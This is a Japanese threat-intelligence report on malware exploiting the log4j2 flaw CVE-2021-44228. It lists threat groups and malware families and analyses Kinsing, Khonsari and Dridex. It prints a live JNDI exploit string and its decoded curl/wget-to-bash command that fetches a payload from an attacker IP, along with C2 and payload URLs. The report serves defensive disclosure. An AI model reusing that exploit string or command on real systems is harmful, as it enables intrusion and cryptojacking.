Apache log4j2 脆弱性を利用したマルウェア情報

Apache log4j 2 のRCE脆弱性(CVE-2021-44228)に関連したマルウェア情報を確認しています。
（脆弱性情報(CVE-2021-44228)については、Apache log4j2 LDAP JNDI Parser RCE 脆弱性（CVE-2021-44228）情報をご確認ください。）

■ 脆弱性を用いたスキャン及び攻撃試行を確認した攻撃集団または攻撃者

・HAFNIUM（中国）: DNSサービスを悪用しlog4j脆弱性テスト試行を検知
・PHOSPHORUS（イラン）: log4j脆弱性を悪用したランサムウェア配布試行を検知

・Wizard Spider（ロシア）:
　Contiランサムウェア配布のため、log4j脆弱性を悪用。サーバ管理ソフトウェア（Vmware vCenter Server）に
　アクセス後仮想マシンを暗号化
・EvilCorp（ロシア）: log4j脆弱性を悪用しDridex Infostealer配布試行
（2022年1月6日　 Wizard Spider、 EvilCorp 追記）

■ Apache Log4j 脆弱性を悪用した攻撃試行マルウェアは合計388種

（2021年12月30日時点、株式会社サイバーフォートレス調査）

区分	内容
ボットネット	Muhstik(26種)、Mirai(145種)、BillGates(2種)
仮想通貨マイニング	XMRig(XMR, 43種)、Kinsing(XMR, 27種)、m8220(XMR, 5種)、 SRBMiner(XMR他多数, 1種), XMRing(XMR, 40種)
ランサムウェア	Khonsari(2種)、TellYouThePass(1種)
DDoS	Elknot(3種)
リモート制御	Orcus(3種), Nanocore(2種)
Infostelaer	Dridex(20種)

■ Apache Log4j の脆弱性（CVE-2021-44228）を悪用したマルウェア分析

・仮想通貨マイナー(Kinsing miner)

CVE-2021-44228を悪用して仮想通貨マイナー(Kinsing miner)のインストール誘導攻撃を確認

※ Kinsing ・・・コンテナ環境を対象としたマルウェア(Malware)。個人情報を盗み取るだけではなく、CPUやメモリといったリソースを乗っ取り、仮想通貨のマイニングを行う。

区分	動作環境
攻撃構文	${jndi:ldap://45.155.205[.]233[:]12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC9bdmljdGltIElQXTpbdmljdGltIHBvcnRdfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0L1t2aWN0aW0gSVBdOlt2aWN0aW0gcG9ydF0pfGJhc2gK}
BASE64デコード	(curl -s 45.155.205[.]233[:]5874/[対象IP]:[対象port]\|\|wget -q -O- 45.155.205[.]233[:]5874/[対象 IP]:[対象 port])\|bash

脆弱性をついた攻撃が成功すると既にインストールされている仮想通貨マイナーを確認し、削除する。

C2サーバにアクセスし、関連ファイルを「/tmp」配下へダウンロードし、実行。マイニング作業を行っていることを確認

・ランサムウェア(Kohnsari)

CVE-2021-44228を悪用して、ランサムウェア感染を確認

Main.classファイルのリクエスト成功時、Kohnsariランサムウェアの実行ファイルである「groenhuyzen.exe」をダウンロードして実行

区分	内容
脆弱性攻撃時使用されるC2	hxxp://3.145.115[.]94/Main.class
攻撃成功後ダウンロードを試みるファイルパス	hxxp://3.145.115[.]94/zambo/groenhuyzen.exe

ファイル暗号化時 .ink、.lnk 拡張子を使用するファイルを除き、特定の条件によって暗号化を実施

区分	内容
Cドライブ	C:\Users\<ユーザーアカウント>\Documents C:\Users\<ユーザーアカウント>\Videos C:\Users\<ユーザーアカウント>\Pictures C:\Users\<ユーザーアカウント>\Downloads C:\Users\<ユーザーアカウント>\Desktop配下のファイルのみ暗号化
C以外のドライブ	全体ファイル暗号化

ファイル暗号化の開始前にC2サーバへのtxtファイルリクエスト、0kbレスポンスを確認

ファイル暗号化が完了したファイルは拡張子が.khonsarifに変更され、暗号化完了時にランサムノートが確認可能

・情報窃取（Infostealer系）マルウェア（Dridex）

（2021年1月6日　追記）

区分	内容
説明	Chrome, Internet Explorerのようなウェブブラウザをモニタリングし銀行及び個人情報を窃取するマルウェア
機能	システム情報収集、ユーザー情報収集、インターネット設定変更、レジストリキー検索でインストールされたソフトウェアリストの収集など

Apache Log4j2の脆弱性を用いてJavaクラスファイルをリクエスト